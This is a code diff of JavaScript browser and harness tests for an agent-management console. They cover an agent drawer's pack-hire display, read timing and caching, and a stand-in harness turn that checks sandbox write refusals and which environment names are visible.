// SP16 review 2: the pack is named once, in Hired from; the Role row says only that it was hired.
|
||||
assert.equal(await text(`${d} [data-drawer-role]`), 'Hired');
|
||||
assert.match(await text(`${d} [data-drawer-source]`), new RegExp(`hire decision ${HIRE}`));
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /(^|\s)not running$/);
|
||||
assert.equal(await has(`${d} [data-drawer-model]`), false);
|
||||
});
|
||||
|
||||
test('SP16: a pack hire names its pack and the template the packs read gives; a refused read says so', async t => {
|
||||
const { b, base, wait, text } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2' });
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
await wait(`${open('beta:research-2')} && document.querySelector('${d} [data-drawer-hired]')`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${d} [data-drawer-hired]').closest('.ws-drawer-f').querySelector('dt').textContent`), 'Hired from');
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack Coding, template researcher as the installed pack names it');
|
||||
// One open makes one packs read, and only for the organization of the pack hire.
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta']);
|
||||
// The packs read refused (it is the owner's): the pack still shows, and the template says why it is missing.
|
||||
await b.call('Page.addScriptToEvaluateOnNewDocument', { source: 'window.__packsStatus = 403;' });
|
||||
await b.navigate('about:blank');
|
||||
await b.navigate(`${base}/#/agents?agent=beta%3Aresearch-2`);
|
||||
await wait(`${open('beta:research-2')} && document.querySelector('${d} [data-drawer-hired]')`);
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack coding, template not read: refused');
|
||||
});
|
||||
|
||||
test('SP16 review: a packs read that answers 200 with no JSON says no answer, and the drawer stays', async t => {
|
||||
const { b, base, wait, text } = await setup(t, { hash: '#/agents', scripts: ['window.__packsBody = "<html>proxy error</html>";'] });
|
||||
await b.navigate(`${base}/#/agents?agent=beta%3Aresearch-2`);
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
await wait(`${open('beta:research-2')} && document.querySelector('${d} [data-drawer-hired]')`);
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack coding, template not read: no answer');
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /not running$/);
|
||||
});
|
||||
|
||||
test('SP16 review: a packs read still open does not hold the page or the state; the template line repaints when it answers', async t => {
|
||||
const { b, wait, text } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: ['window.__packsHold = true;'] });
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
await wait(`${open('beta:research-2')} && document.querySelector('${d} [data-drawer-hired]')`);
|
||||
// The page painted and the state is read while the packs read is held.
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack coding, template being read…');
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /not running$/);
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('${d}[data-drawer-pending]')`));
|
||||
await b.evaluate('window.__packsHold = false; window.__packsRelease()');
|
||||
await wait(`document.querySelector('${d} [data-drawer-hired]')?.textContent.includes('template researcher')`);
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack Coding, template researcher as the installed pack names it');
|
||||
});
|
||||
|
||||
// SP16 review 2 probes. OBS records every agent drawer put on the page; SLOW holds the drawer's own
|
||||
// workspace read (it names org= and the inbox section) 400 ms, so the page's reads answer first;
|
||||
// INST_HOLD holds beta's first bus instances read (the drawer's: it is made before the page's) until
|
||||
// window.__instRelease().
|
||||
const OBS = `(() => {
|
||||
window.__ins = [];
|
||||
new MutationObserver(ms => { for (const m of ms) for (const n of m.addedNodes) {
|
||||
const list = n.nodeType === 1 ? [n, ...n.querySelectorAll('[data-ws-drawer]')] : [];
|
||||
for (const e of list) if (e.matches?.('[data-ws-drawer]')) window.__ins.push({ id: e.dataset.wsDrawer, pending: e.dataset.drawerPending || null, hired: e.querySelector('[data-drawer-hired]')?.textContent.trim() ?? null });
|
||||
} }).observe(document, { childList: true, subtree: true });
|
||||
})();`;
|
||||
const SLOW = `(() => { const f = window.fetch; window.fetch = async (u, i) => { if (/\\/api\\/workspace\\?.*org=/.test(String(u)) && /inbox/.test(decodeURIComponent(String(u)))) await new Promise(r => setTimeout(r, 400)); return f(u, i); }; })();`;
|
||||
const INST_HOLD = `(() => { const f = window.fetch; let n = 0; window.fetch = async (u, i) => { if (/\\/api\\/orgs\\/beta\\/bus\\/instances$/.test(String(u)) && ++n === 1) await new Promise(r => { window.__instRelease = r; }); return f(u, i); }; })();`;
|
||||
const renders = async (b, wait, count) => {
|
||||
for (let i = 0; i < count; i++) {
|
||||
const seen = await b.evaluate('window.__ins.length');
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'))`);
|
||||
await wait(`window.__ins.length > ${seen}`);
|
||||
await new Promise(r => setTimeout(r, 700));
|
||||
}
|
||||
};
|
||||
|
||||
test('SP16 review 2: a repaint draws the template from the kept packs answer, so the line does not change and one packs read serves the repaints', async t => {
|
||||
const { b, wait } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [OBS, SLOW] });
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
const final = 'Pack Coding, template researcher as the installed pack names it';
|
||||
await wait(`document.querySelector('${d} [data-drawer-hired]')?.textContent.includes('template researcher')`);
|
||||
const from = await b.evaluate('window.__ins.length');
|
||||
await renders(b, wait, 3);
|
||||
const later = JSON.parse(await b.evaluate(`JSON.stringify(window.__ins.slice(${from}))`)).filter(x => x.id === 'beta:research-2');
|
||||
assert.ok(later.length >= 3, JSON.stringify(later));
|
||||
for (const x of later) assert.deepEqual([x.hired, x.pending], [final, null], JSON.stringify(later));
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta']);
|
||||
});
|
||||
|
||||
test('SP16 review 2: when the instances read answers after the page, the state shows at once while the packs read is still held', async t => {
|
||||
const { b, wait, text, has } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [INST_HOLD, 'window.__packsHold = true;'] });
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
await wait(`${open('beta:research-2')} && typeof window.__instRelease === 'function'`);
|
||||
assert.equal(await text(`${d} [data-drawer-state]`), 'Reading state…');
|
||||
assert.equal(await has(`${d} [data-drawer-hired]`), false);
|
||||
await b.evaluate('window.__instRelease()');
|
||||
await wait(`/not running$/.test(document.querySelector('${d} [data-drawer-state]')?.textContent ?? '')`);
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack coding, template being read…');
|
||||
assert.equal(await text(`${d} [data-drawer-role]`), 'Hired');
|
||||
assert.equal(await has(`${d}[data-drawer-pending]`), true);
|
||||
await b.evaluate('window.__packsHold = false; window.__packsRelease()');
|
||||
await wait(`document.querySelector('${d} [data-drawer-hired]')?.textContent.includes('template researcher')`);
|
||||
assert.equal(await text(`${d} [data-drawer-hired]`), 'Pack Coding, template researcher as the installed pack names it');
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /not running$/);
|
||||
assert.equal(await has(`${d}[data-drawer-pending]`), false);
|
||||
});
|
||||
|
||||
test('SP16 review 2: a drawer whose reads have all answered is not marked pending and is not swapped after paint', async t => {
|
||||
const { b, wait } = await setup(t, { hash: '#/agents?agent=acme%3Acoder', scripts: [OBS, SLOW] });
|
||||
await wait(`${open('acme:coder')} && /working$/.test(document.querySelector('[data-ws-drawer="acme:coder"] [data-drawer-state]')?.textContent ?? '')`);
|
||||
const from = await b.evaluate('window.__ins.length');
|
||||
await renders(b, wait, 2);
|
||||
const later = JSON.parse(await b.evaluate(`JSON.stringify(window.__ins.slice(${from}))`)).filter(x => x.id === 'acme:coder');
|
||||
assert.equal(later.length, 2, JSON.stringify(later));
|
||||
assert.ok(later.every(x => x.pending === null), JSON.stringify(later));
|
||||
});
|
||||
|
||||
// SP16 review 3: HIRE3 adds a later hire of the Coding pack, research-3, to beta's instances read once
|
||||
// window.__hire3 is set, and to the packs read's Coding hires once window.__packs3 is set. SKEW moves
|
||||
// Date.now on by window.__skew ms.
|
||||
const HIRE3 = `(() => {
|
||||
const f = window.fetch;
|
||||
const json = (r, v) => new Response(JSON.stringify(v), { status: r.status, headers: { 'content-type': 'application/json' } });
|
||||
window.fetch = async (u, i) => {
|
||||
const r = await f(u, i), s = String(u);
|
||||
if (window.__hire3 && /\\/api\\/orgs\\/beta\\/bus\\/instances$/.test(s) && r.ok) {
|
||||
const v = await r.clone().json();
|
||||
(v.rows?.[0]?.instances ?? v.instances)['research-3'] = { definition: 'org:hire-${HIRE.replace('0f3c', '1f3c')}', hireDecision: '${HIRE.replace('0f3c', '1f3c')}', running: [], pack: { id: 'coding', origin: 'shipped', project: null } };
|
||||
return json(r, v);
|
||||
}
|
||||
if (window.__packs3 && /\\/api\\/orgs\\/beta\\/packs$/.test(s) && r.ok) {
|
||||
const v = await r.clone().json();
|
||||
v.packs[0].pack.hires.push({ name: 'research-3', definition: 'researcher', reason: 'More research.' });
|
||||
return json(r, v);
|
||||
}
|
||||
return r;
|
||||
};
|
||||
})();`;
|
||||
const SKEW = `(() => { const n = Date.now; Date.now = () => n() + (window.__skew || 0); })();`;
|
||||
const FINAL = 'Pack Coding, template researcher as the installed pack names it';
|
||||
const hiredText = key => `(document.querySelector('[data-ws-drawer="${key}"] [data-drawer-hired]')?.textContent ?? '')`;
|
||||
|
||||
test('SP16 review 3: a hire made after the packs answer was kept is read again at once, and its drawer never says the pack does not name it', async t => {
|
||||
const { b, wait, text } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [OBS, HIRE3] });
|
||||
await wait(`${hiredText('beta:research-2')}.includes('template researcher')`);
|
||||
await b.evaluate('window.__hire3 = true; window.__packs3 = true; location.hash = "#/agents?agent=beta%3Aresearch-3"');
|
||||
await wait(`${hiredText('beta:research-3')}.includes('template researcher')`);
|
||||
assert.equal(await text('[data-ws-drawer="beta:research-3"] [data-drawer-hired]'), FINAL);
|
||||
const seen = JSON.parse(await b.evaluate('JSON.stringify(window.__ins)')).filter(x => x.id === 'beta:research-3');
|
||||
assert.ok(seen.length >= 1 && seen.every(x => !/not named/.test(x.hired ?? '')), JSON.stringify(seen));
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta', 'beta']);
|
||||
});
|
||||
|
||||
test('SP16 review 3: a hire the pack does not name is read again once, then says so without a packs read on every repaint', async t => {
|
||||
const { b, wait, text } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [OBS, HIRE3] });
|
||||
await wait(`${hiredText('beta:research-2')}.includes('template researcher')`);
|
||||
await b.evaluate('window.__hire3 = true; location.hash = "#/agents?agent=beta%3Aresearch-3"');
|
||||
await wait(`${hiredText('beta:research-3')}.includes('not named')`);
|
||||
assert.equal(await text('[data-ws-drawer="beta:research-3"] [data-drawer-hired]'), 'Pack Coding, template not named in the packs read');
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta', 'beta']);
|
||||
await renders(b, wait, 2);
|
||||
assert.equal(await text('[data-ws-drawer="beta:research-3"] [data-drawer-hired]'), 'Pack Coding, template not named in the packs read');
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta', 'beta']);
|
||||
});
|
||||
|
||||
test('SP16 review 3: a packs read that failed is read again on the next render, so the line recovers with the route', async t => {
|
||||
const { b, wait, text } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [OBS, 'window.__packsStatus = 503;'] });
|
||||
await wait(`${hiredText('beta:research-2')}.includes('not read')`);
|
||||
assert.equal(await text('[data-ws-drawer="beta:research-2"] [data-drawer-hired]'), 'Pack coding, template not read: no answer');
|
||||
// A kept failure is read again on each render (at most one read open), as before the answer was kept.
|
||||
await new Promise(r => setTimeout(r, 700));
|
||||
const failed = await b.evaluate('window.__packReads.length');
|
||||
await b.evaluate(`window.__packsStatus = 0; document.dispatchEvent(new CustomEvent('mosaic-workspace-render'))`);
|
||||
await wait(`${hiredText('beta:research-2')}.includes('template researcher')`);
|
||||
assert.equal(await text('[data-ws-drawer="beta:research-2"] [data-drawer-hired]'), FINAL);
|
||||
assert.equal(await b.evaluate('window.__packReads.length'), failed + 1);
|
||||
// Recovered, the answer is kept again: a further repaint makes no read.
|
||||
await renders(b, wait, 1);
|
||||
assert.equal(await b.evaluate('window.__packReads.length'), failed + 1);
|
||||
});
|
||||
|
||||
test('SP16 review 3: once the kept packs answer is 60 s old a repaint still draws it, with one new read and no swap when that read answers', async t => {
|
||||
const { b, wait } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2', scripts: [OBS, SLOW, SKEW] });
|
||||
await wait(`${hiredText('beta:research-2')}.includes('template researcher')`);
|
||||
const from = await b.evaluate('window.__ins.length');
|
||||
await b.evaluate('window.__skew = 61000; window.__packsHold = true;');
|
||||
await renders(b, wait, 1);
|
||||
await wait('window.__packReads.length === 2');
|
||||
await b.evaluate('window.__packsHold = false; window.__packsRelease()');
|
||||
await new Promise(r => setTimeout(r, 700));
|
||||
const later = JSON.parse(await b.evaluate(`JSON.stringify(window.__ins.slice(${from}))`)).filter(x => x.id === 'beta:research-2');
|
||||
assert.equal(later.length, 1, JSON.stringify(later));
|
||||
assert.deepEqual([later[0].hired, later[0].pending], [FINAL, null]);
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), ['beta', 'beta']);
|
||||
});
|
||||
|
||||
test('a field with no read is left out', async t => {
|
||||
// beta:pm: beta's business read names no model for it, and it holds no task, so no project either.
|
||||
const { wait, has, text } = await setup(t, { hash: '#/agents?agent=beta%3Apm' });
|
||||
await wait(open('beta:pm'));
|
||||
const d = '[data-ws-drawer="beta:pm"]';
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /waiting on you/);
|
||||
for (const field of ['model', 'project', 'task', 'activity']) assert.equal(await has(`${d} [data-drawer-${field}]`), false, `${field} should be absent`);
|
||||
for (const field of ['model', 'project', 'task', 'hired']) assert.equal(await has(`${d} [data-drawer-${field}]`), false, `${field} should be absent`);
|
||||
// An empty list still says so, since the read answered: no open tasks, no decisions.
|
||||
assert.match(await text(`${d} [data-drawer-tasks]`), /No open tasks/);
|
||||
assert.match(await text(`${d} [data-drawer-decisions]`), /No decisions/);
|
||||
@@ -300,10 +499,16 @@ test('Message opens the agent\'s thread in an Assistant pane; Stop asks first an
|
||||
const { b, wait, text, attr, has } = await setup(t, { hash: '#/agents?agent=acme%3Aassistant' });
|
||||
await wait(`${open('acme:assistant')} && document.querySelector('[data-ws-drawer="acme:assistant"] [data-drawer-message]')`);
|
||||
assert.equal(await attr('[data-ws-drawer="acme:assistant"] [data-drawer-message]', 'href'), `#/assistant?add=acme%3A${THREAD}`);
|
||||
// SP16: Message is offered, so no line says why it is not.
|
||||
assert.equal(await has('[data-ws-drawer="acme:assistant"] [data-drawer-nomessage]'), false);
|
||||
// It holds a conversation, whose messages read pages from the oldest message: the drawer says it does not read it.
|
||||
assert.equal(await text('[data-ws-drawer="acme:assistant"] [data-drawer-activity]'), 'not shown: reading it means reading the whole conversation');
|
||||
// A role agent holds no thread to open, so it has no Message; it can still be stopped.
|
||||
await b.evaluate('location.hash = "#/agents?agent=acme%3Acoder"');
|
||||
await wait(`${open('acme:coder')} && document.querySelector('[data-ws-drawer="acme:coder"] [data-drawer-stop]')`);
|
||||
assert.equal(await has('[data-ws-drawer="acme:coder"] [data-drawer-message]'), false);
|
||||
// SP16: and one line says why there is no Message.
|
||||
assert.equal(await text('[data-ws-drawer="acme:coder"] [data-drawer-actions] [data-drawer-nomessage]'), 'No Message: this Console messages only conversation agents, such as the Assistant.');
|
||||
const d = '[data-ws-drawer="acme:coder"]';
|
||||
await b.evaluate(`document.querySelector('${d} [data-drawer-stop]').click()`);
|
||||
await wait(`document.querySelector('${d} [data-drawer-stop-yes]')`);
|
||||
@@ -351,6 +556,7 @@ test('Message opens the agent\'s thread in an Assistant pane; Stop asks first an
|
||||
await b.evaluate('location.hash = "#/agents?agent=acme%3Achief"');
|
||||
await wait(open('acme:chief'));
|
||||
assert.equal(await has('[data-ws-drawer="acme:chief"] [data-drawer-stop]'), false);
|
||||
assert.match(await text('[data-ws-drawer="acme:chief"] [data-drawer-nomessage]'), /^No Message: this Console messages only conversation agents/);
|
||||
// Where Stop is not offered, the drawer says why beside the actions.
|
||||
assert.match(await text('[data-ws-drawer="acme:chief"] [data-drawer-actions] [data-drawer-nostop]'), /^chief is one of Acme Studio’s protected agents, so it is not stopped from here\.$/);
|
||||
});
|
||||
@@ -359,7 +565,7 @@ test('no action is shown where the Console cannot write for the agent\'s organiz
|
||||
const { wait, has, text } = await setup(t, { hash: '#/agents?agent=beta%3Apm' });
|
||||
await wait(`${open('beta:pm')} && document.querySelector('[data-ws-drawer="beta:pm"] [data-drawer-readonly]')`);
|
||||
const d = '[data-ws-drawer="beta:pm"]';
|
||||
for (const action of ['message', 'stop', 'restart']) assert.equal(await has(`${d} [data-drawer-${action}]`), false, `${action} should be absent`);
|
||||
for (const action of ['message', 'nomessage', 'stop', 'restart']) assert.equal(await has(`${d} [data-drawer-${action}]`), false, `${action} should be absent`);
|
||||
assert.match(await text(`${d} [data-drawer-readonly]`), /only reads Beta Works/);
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
// A stand-in harness turn for the Triage host tests (#1873). It imports nothing from the repository,
|
||||
// so it runs with only the binds the host gives it. The message body picks the behaviour:
|
||||
// PROBE answer JSON: the environment's variable names (never values), which of the paths in
|
||||
// $TRIAGE_PROBE (a JSON array) are visible, the snapshot's version, and whether the
|
||||
// health directory and the bundle refuse a write
|
||||
// CARDS answer a reply with a cards fence: one valid card, one unknown step
|
||||
// TOOL <to> call send_message to <to> through the tool socket and answer the raw reply
|
||||
// SLEEP hang until killed
|
||||
// REPLY-SLEEP send the person an answer to this message through the tool socket, then hang until killed
|
||||
// anything else answer "echo: <body>"
|
||||
import { existsSync, readFileSync, writeFileSync } from "node:fs";
|
||||
import { connect } from "node:net";
|
||||
import { join } from "node:path";
|
||||
|
||||
const request = process.env.MOSAIC_REQUEST ?? "";
|
||||
const body = request.match(/^Message [^\n]*:\n\n([\s\S]*)$/m)?.[1] ?? "";
|
||||
const workspace = process.env.MOSAIC_WORKSPACE;
|
||||
|
||||
const tryWrite = (path) => {
|
||||
try {
|
||||
writeFileSync(path, "x");
|
||||
return "written";
|
||||
} catch (e) {
|
||||
return e.code ?? "refused";
|
||||
}
|
||||
};
|
||||
|
||||
function toolCall(tool, args) {
|
||||
return new Promise((resolve) => {
|
||||
const socket = connect(process.env.MOSAIC_TOOL_SOCKET);
|
||||
let input = "";
|
||||
socket.on("connect", () => socket.write(JSON.stringify({ tool, args }) + "\n"));
|
||||
socket.on("data", (b) => {
|
||||
input += b;
|
||||
if (input.includes("\n")) { socket.destroy(); resolve(input.trim()); }
|
||||
});
|
||||
socket.on("error", (e) => resolve(`socket ${e.code}`));
|
||||
});
|
||||
}
|
||||
|
||||
if (body === "PROBE") {
|
||||
let paths = [];
|
||||
try { paths = JSON.parse(process.env.TRIAGE_PROBE ?? "[]"); } catch {}
|
||||
let snapshot = null;
|
||||
try { snapshot = JSON.parse(readFileSync(join(workspace, "health", "snapshot.json"), "utf8")).snapshotVersion; } catch {}
|
||||
process.stdout.write(JSON.stringify({
|
||||
env: Object.keys(process.env).sort(),
|
||||
seen: Object.fromEntries(paths.map((p) => [p, existsSync(p)])),
|
||||
snapshot,
|
||||
writeHealth: tryWrite(join(workspace, "health", "planted.json")),
|
||||
writeBundle: tryWrite(join(process.env.MOSAIC_POLICY_FILE, "..", "planted.json")),
|
||||
writeWork: tryWrite(join(workspace, "note.txt")),
|
||||
}));
|
||||
} else if (body === "CARDS") {
|
||||
process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n');
|
||||
} else if (body.startsWith("TOOL ")) {
|
||||
process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" }));
|
||||
} else if (body === "REPLY-SLEEP") {
|
||||
const id = request.match(/^Message (\S+) from /m)?.[1];
|
||||
await toolCall("send_message", { to: "human", body: "answered early", class: "INFO", in_reply_to: id });
|
||||
setInterval(() => {}, 1000);
|
||||
} else if (body === "SLEEP") {
|
||||
setInterval(() => {}, 1000);
|
||||
} else {
|
||||
process.stdout.write(`echo: ${body}`);
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
// E2E6 P1-1, P2-2 (#1873): an editor in use on an organization's page survives the page's refresh. The
|
||||
// workflow editor's node, typed draft and focus, the autonomy form's unsaved choice and a pack's picked
|
||||
// project are kept when the page reads every section again. An apply refreshes the other sections.
|
||||
// autonomy form's unsaved choice and a pack's picked project are kept when the page reads every section
|
||||
// again. An apply refreshes the other sections. SP17: the workflow editor is the graph page's step form
|
||||
// now (the organization page's old form is gone); its node, typed step and focus survive the poll there.
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { startServer } from '../src/serve.mjs';
|
||||
@@ -54,9 +55,9 @@ async function fixture(t) {
|
||||
await b.navigate(`http://127.0.0.1:${server.address().port}/#/orgs/acme/organization`);
|
||||
// poll: wait for the page's own 10-second poll. Otherwise send the event a write on the page sends,
|
||||
// which repaints /organization the same way.
|
||||
const refresh = async ({ poll = false } = {}) => {
|
||||
const refresh = async ({ poll = false, event = 'mosaic-org-changed' } = {}) => {
|
||||
const n = counts.workflows;
|
||||
if (!poll) await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-org-changed',{detail:{org:'acme'}}));true`);
|
||||
if (!poll) await b.evaluate(`document.dispatchEvent(new CustomEvent(${JSON.stringify(event)},{detail:{org:'acme'}}));true`);
|
||||
for (let i = 0; i < 500 && counts.workflows === n; i++) await new Promise(r => setTimeout(r, 30));
|
||||
assert.ok(counts.workflows > n, 'the refresh read the workflows again');
|
||||
await b.evaluate(`new Promise(r=>setTimeout(()=>r(true),200))`);
|
||||
@@ -64,29 +65,39 @@ async function fixture(t) {
|
||||
return { b, counts, ctl, refresh };
|
||||
}
|
||||
|
||||
test('E2E6 P1-1: an open workflow editor keeps its node, draft and focus across a refresh', { timeout: 60000 }, async t => {
|
||||
const { b, refresh } = await fixture(t);
|
||||
await waitFor(b, `document.querySelector('[data-wf="intake"] [data-wf-edit]')`, 'workflow list');
|
||||
await b.evaluate(`document.querySelector('[data-wf="intake"] [data-wf-edit]').click();true`);
|
||||
await waitFor(b, `document.querySelector('[data-wf-editor]')`, 'editor');
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');window.__editor=f;const i=f.querySelector('input[name=title]');i.value='Intake, revised';i.focus();i.setSelectionRange(3,3);f.querySelector('[data-wf-edit-step="0"] [name=roles]').value='human, coder'}true`);
|
||||
test('E2E6 P1-1: an open workflow step form keeps its node, typed step and focus across the poll and a failed read', { timeout: 90000 }, async t => {
|
||||
const { b, ctl, refresh } = await fixture(t);
|
||||
const form = '[data-wfg-step-form="0"]';
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/intake?step=1'`);
|
||||
await waitFor(b, `document.querySelector('${form} input[name=title]')?.value === 'Sort'`, 'step form');
|
||||
await b.evaluate(`{const f=document.querySelector('${form}');window.__form=f;const i=f.querySelector('input[name=title]');i.value='Sort, revised';i.dispatchEvent(new Event('input',{bubbles:true}));f.querySelector('input[name=role][value=coder]').click();i.focus();i.setSelectionRange(3,3)}true`);
|
||||
await waitFor(b, `document.querySelector('${form}')?.hasAttribute('data-live-hold')`, 'the typed form holds');
|
||||
await refresh({ poll: true });
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor]')===window.__editor`), true, 'the same editor node');
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wf-editor]').length`), 1);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').value`), 'Intake, revised');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] [data-wf-edit-step="0"] [name=roles]').value`), 'human, coder');
|
||||
assert.equal(await b.evaluate(`document.activeElement===document.querySelector('[data-wf-editor] input[name=title]')`), true, 'focus stays in the field');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form}')===window.__form`), true, 'the same form node');
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('${form}').length`), 1);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name=title]').value`), 'Sort, revised');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('${form} input[name=role]:checked')].map(i=>i.value)`), ['human', 'coder']);
|
||||
assert.equal(await b.evaluate(`document.activeElement===document.querySelector('${form} input[name=title]')`), true, 'focus stays in the field');
|
||||
assert.equal(await b.evaluate(`document.activeElement.selectionStart`), 3, 'the caret stays put');
|
||||
// A second refresh with focus elsewhere still keeps the open editor: it holds data-live-hold.
|
||||
// A second repaint with focus elsewhere still keeps the typed form: it holds data-live-hold.
|
||||
await b.evaluate(`document.activeElement.blur();true`);
|
||||
await refresh();
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor]')===window.__editor`), true);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').value`), 'Intake, revised');
|
||||
// Cancel closes it; the next refresh paints the list fresh.
|
||||
await b.evaluate(`document.querySelector('[data-wf-cancel]').click();true`);
|
||||
await waitFor(b, `!document.querySelector('[data-wf-editor]')`, 'cancel');
|
||||
await refresh();
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor]')`), null);
|
||||
await refresh({ event: 'mosaic-workspace-render' });
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form}')===window.__form`), true);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name=title]').value`), 'Sort, revised');
|
||||
// A failed read keeps the same form, its typed step and focus, and says the read failed.
|
||||
await b.evaluate(`document.querySelector('${form} input[name=title]').focus();true`);
|
||||
ctl.workflowsFail = true;
|
||||
await refresh({ poll: true });
|
||||
await waitFor(b, `/The last workflows read failed/.test(document.querySelector('[data-wfg-error]')?.textContent ?? '')`, 'the read failure is said');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form}')===window.__form`), true, 'the same form node after a failed read');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name=title]').value`), 'Sort, revised');
|
||||
assert.equal(await b.evaluate(`document.activeElement===document.querySelector('${form} input[name=title]')`), true, 'focus stays in the field');
|
||||
ctl.workflowsFail = false;
|
||||
// Reset step puts the step back; the next repaint draws the form fresh, not held.
|
||||
await b.evaluate(`document.querySelector('${form} [data-wfg-cancel]').click();true`);
|
||||
await waitFor(b, `document.querySelector('${form} input[name=title]')?.value === 'Sort' && !document.querySelector('${form}').hasAttribute('data-live-hold')`, 'reset');
|
||||
await refresh({ event: 'mosaic-workspace-render' });
|
||||
await waitFor(b, `!document.querySelector('[data-wfg-error]') && document.querySelector('${form}') && document.querySelector('${form}')!==window.__form`, 'a fresh form after a good read');
|
||||
});
|
||||
|
||||
test('E2E6 P1-1, P2-14: an unsaved autonomy choice, a picked pack project and a focused link survive the poll', { timeout: 60000 }, async t => {
|
||||
@@ -113,16 +124,17 @@ test('E2E6 P2-2: a pack apply re-reads the other sections and keeps its receipt'
|
||||
const before = { ...counts };
|
||||
await b.evaluate(`document.querySelector('[data-pack-apply]').click();true`);
|
||||
await waitFor(b, `/^Applied\\./.test(document.querySelector('[data-packs-status]')?.textContent??'')`, 'apply');
|
||||
for (let i = 0; i < 300 && counts.workflows === before.workflows; i++) await new Promise(r => setTimeout(r, 30));
|
||||
// Both reads are waited for: the autonomy read can answer after the workflows read on a loaded host.
|
||||
for (let i = 0; i < 300 && (counts.workflows === before.workflows || counts.autonomy === before.autonomy); i++) await new Promise(r => setTimeout(r, 30));
|
||||
assert.ok(counts.workflows > before.workflows, 'workflows read again after the apply');
|
||||
assert.ok(counts.autonomy > before.autonomy, 'autonomy read again after the apply');
|
||||
await b.evaluate(`new Promise(r=>setTimeout(()=>r(true),300))`);
|
||||
assert.match(await b.evaluate(`document.querySelector('[data-packs-status]').textContent`), /^Applied\. Added board\./, 'the receipt survives the re-read');
|
||||
});
|
||||
|
||||
test('E2E6 review P3: a failed read keeps an open editor, Discard drops a held form, a focused button does not hold its section, and a clean form shows a failed read', { timeout: 60000 }, async t => {
|
||||
test('E2E6 review P3: a failed read keeps a dirty form, Discard drops a held form, a focused button does not hold its section, and a clean form shows a failed read', { timeout: 60000 }, async t => {
|
||||
const { b, ctl, refresh } = await fixture(t);
|
||||
await waitFor(b, `document.querySelector('[data-wf="intake"] [data-wf-edit]')&&document.querySelector('[data-autonomy-form] select[name=merge]')&&document.querySelector('[data-pack-preview-button]')`, 'sections');
|
||||
await waitFor(b, `document.querySelector('[data-autonomy-form] select[name=merge]')&&document.querySelector('[data-pack-preview-button]')`, 'sections');
|
||||
// A focused Preview button alone no longer holds the packs section: the next poll shows a changed
|
||||
// pack and focus comes back to the rebuilt button through its data-focus-key.
|
||||
await b.evaluate(`document.querySelector('[data-pack-preview-button]').focus();true`);
|
||||
@@ -130,18 +142,11 @@ test('E2E6 review P3: a failed read keeps an open editor, Discard drops a held f
|
||||
await refresh({ poll: true });
|
||||
await waitFor(b, `/Web project, renamed/.test(document.querySelector('[data-packs-org]').textContent)`, 'the renamed pack');
|
||||
assert.match(await b.evaluate(`document.activeElement.dataset.focusKey??document.activeElement.tagName`), /^pack-preview:acme:web-project$/, 'focus returns to the rebuilt button');
|
||||
// One failed workflows read while the editor is open keeps the same editor node, draft and focus.
|
||||
await b.evaluate(`document.querySelector('[data-wf="intake"] [data-wf-edit]').click();true`);
|
||||
